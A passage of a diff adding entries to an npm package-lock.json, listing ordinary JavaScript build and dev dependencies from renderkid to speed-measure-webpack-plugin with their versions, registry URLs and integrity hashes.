"opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dev": true, + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/renderkid/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=", + "dev": true + }, + "node_modules/resolve": { + "version": "1.22.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.0.tgz", + "integrity": "sha512-Hhtrw0nLeSrFQ7phPp4OOcVjLPIeMnRlr5mcnVuMe7M/7eBn98A3hmFRLoFo3DLZkivSYwhRUJTyPyWAk56WLw==", + "dependencies": { + "is-core-module": "^2.8.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-cwd/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pathname": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==" + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/run-async": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", + "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + }, + "node_modules/rxjs": { + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", + "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", + "dev": true, + "dependencies": { + "tslib": "^1.9.0" + }, + "engines": { + "npm": ">=2.0.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sass": { + "version": "1.49.11", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.49.11.tgz", + "integrity": "sha512-wvS/geXgHUGs6A/4ud5BFIWKO1nKd7wYIGimDk4q4GFkJicILActpv9ueMT4eRGSsp1BdKHuw1WwAHXbhsJELQ==", + "dev": true, + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 <2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/sass-loader": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", + "dev": true, + "dependencies": { + "klona": "^2.0.4", + "neo-async": "^2.6.2" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "sass": "^1.3.0", + "sass-embedded": "*", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + } + } + }, + "node_modules/scheduler": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz", + "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=", + "dev": true + }, + "node_modules/selfsigned": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.0.1.tgz", + "integrity": "sha512-LmME957M1zOsUhG+67rAjKfiWFox3SBxE/yymatMZsAx+oMrJ0YQ8AToOnyCm7xbeg2ep37IHLxdu0o2MavQOQ==", + "dev": true, + "dependencies": { + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.17.2", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.2.tgz", + "integrity": "sha512-UJYB6wFSJE3G00nEivR5rgWp8c2xXvJ3OPWPhmuteU0IKj8nKbG3DrjiOmLwpnHGYWAVwA69zmTm++YG0Hmwww==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "1.8.1", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=", + "dev": true, + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", + "dev": true, + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "dev": true + }, + "node_modules/serve-static": { + "version": "1.14.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.2.tgz", + "integrity": "sha512-+TMNA9AFxUEGuC0z2mevogSnn9MXKb4fa7ngeRMJaaGv8vTwnIEkKi+QGvPt33HSnf8pRS+WGM0EbMtCJLKMBQ==", + "dev": true, + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "dev": true + }, + "node_modules/sha3": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.4.tgz", + "integrity": "sha512-S8cNxbyb0UGUM2VhRD4Poe5N58gJnJsLJ5vC7FYWGUmGhcsj4++WaIOBFVDxlG0W3To6xBuiRh+i0Qp2oNCOtg==", + "dependencies": { + "buffer": "6.0.3" + } + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shallowequal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==" + }, + "node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "dev": true, + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shortid": { + "version": "2.2.16", + "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.16.tgz", + "integrity": "sha512-Ugt+GIZqvGXCIItnsL+lvFJOiN7RYqlGy7QE41O3YC1xbNSeDGIRO7xg2JJXIAj1cAGnOeC1r7/T9pgrtQbv4g==", + "dependencies": { + "nanoid": "^2.1.0" + } + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/slash": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", + "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/slice-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", + "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "astral-regex": "^1.0.0", + "is-fullwidth-code-point": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/slice-ansi/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dev": true, + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz", + "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==", + "dependencies": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/source-map-loader/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", + "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", + "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.11.tgz", + "integrity": "sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g==", + "dev": true + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/spdy-transport/node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/spdy-transport/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/spdy-transport/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/specificity": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/specificity/-/specificity-0.4.1.tgz", + "integrity": "sha512-1klA3Gi5PD1Wv9Q0wUoOQN1IWAuPu0D1U03ThXTr0cJ20+/iq2tHSDnK7Kk/0LXJ1ztUB2/1Os0wKmfyNgUQfg==", + "dev": true, + "bin": { + "specificity": "bin/specificity" + } + }, + "node_modules/speed-measure-webpack-plugin": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/speed-measure-webpack-plugin/-/speed-measure-webpack-plugin-1.5.0.tgz", + "integrity": "sha512-Re0wX5CtM6gW7bZA64ONOfEPEhwbiSF/vz6e2GvadjuaPrQcHTQdRGsD8+BE7iUOysXH8tIenkPCQBEcspXsNg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0" + }, + "engines": { + "node": ">=6.0.0" + }, + "peerDependencies": { + "webpack": "^1 || ^2 || ^3 || ^4 || ^5" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + 